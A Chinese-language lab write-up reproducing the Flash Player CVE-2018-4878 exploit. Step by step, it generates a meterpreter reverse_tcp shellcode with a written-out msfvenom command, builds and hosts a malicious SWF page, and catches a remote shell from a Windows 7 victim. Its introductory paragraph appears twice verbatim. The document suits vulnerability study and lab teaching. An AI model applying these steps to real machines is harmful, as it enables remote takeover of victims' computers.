1、 引言
2018年1月31日,韩国CERT发布公告称发现Flash 0day漏洞的野外利用,攻击者执行针对性的攻击;2月1日Adobe发布安全公告,确认Adobe Flash Player 28.0.0.137 及早期版本存在远程代码执行漏洞(CVE-2018-4878);2月2日,Cisco Talos团队发布了事件涉及攻击样本的简要分析;2月7日,Adobe发布了CVE-2018-4878漏洞的安全补丁。本文基于Talos文章中给出的样本及360安全卫士团队输出的报告,对相关样本做进一步的解析以丰富相应的技术细节,但是不涉及CVE-2018-4878漏洞的分析。2018年1月31日,韩国CERT发布公告称发现Flash 0day漏洞的野外利用,攻击者执行针对性的攻击;2月1日Adobe发布安全公告,确认Adobe Flash Player 28.0.0.137 及早期版本存在远程代码执行漏洞(CVE-2018-4878);2月2日,Cisco Talos团队发布了事件涉及攻击样本的简要分析;2月7日,Adobe发布了CVE-2018-4878漏洞的安全补丁。本文基于Talos文章中给出的样本及360安全卫士团队输出的报告,对相关样本做进一步的解析以丰富相应的技术细节,但是不涉及CVE-2018-4878漏洞的分析。
2、影响版本
Flash Player版本28.0.0.137以及之前的所有版本。
3、漏洞复现
4.1 漏洞复现环境
Kali Linux + Windows 7 sp1
渗透机:Kali Linux
靶机:Windows 7 sp1
EXP:CVE-2018-4878.py
Flash:flashplayer_activex_28.0.0.137.exe
4.2 复现流程
1、准备一台kali虚拟机与一台已关闭防火墙的win7虚拟机。
2、查看两台虚拟机的ip地址
Win7命令行:ipconfig:
kali命令行:ifconfig:
3、在Kali Linux中使用msfvenom生成一个Python类型的Shell Code,代码如下:
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.36.249 lport=4444 -f python>shellcode.txt |
lhost为Kali Linux的IP地址,lport为端口号,可以为其他。
4、生成shellcode.txt文件,打开cve-2018-4878.py文件和shellcode.txt文件,将cve-2018-4878.py中的shellcode替换为shellcode.txt中的shellcode。左图为cve-2018-4878.py中的代码,右图为shellcode.txt中的代码,将左图中的代码替换为右图中的代码,并保存更改。
5、修改cve-2018-4878.py中的文件信息,将其更改为自己存放的文件目录名,保存更改。(本人存放于文件CVE-2018-4878-master)
6、Kali Linux进入CVE-2018-4878-master路径,执行命令python cve-2018-4878.py生成exploit.swf和index2.html两个文件。
7、Kali Linux开启Apache2服务,将exploit.swf和index2.html文件复制到/var/www/html目录中。此时,Kali Linux上Web服务器启动,并且具备index2.html整个页面。只要靶机启用Flash插件并且访问该页面,则靶机可直接被控制。
8、Kali Linux在mfs5下使用handler模块开启会话监听。回弹一个tcp连接。设置kali渗透机的IP地址。设置监听端口,这个需跟上面msfvenom设置的端口一致。开启监听,等待目标上线。
9、在Windows7上 安装flash插件,使用Win7内置的IE 8浏览器访问页面:http://192.168.36.249/index2.html,页面显示如下。
10、切换到Kali Linux虚拟机,可以看到Kali Linux虚拟机上获取到了meterpreter shell,接下来可以用命令对靶机进行操作和管理。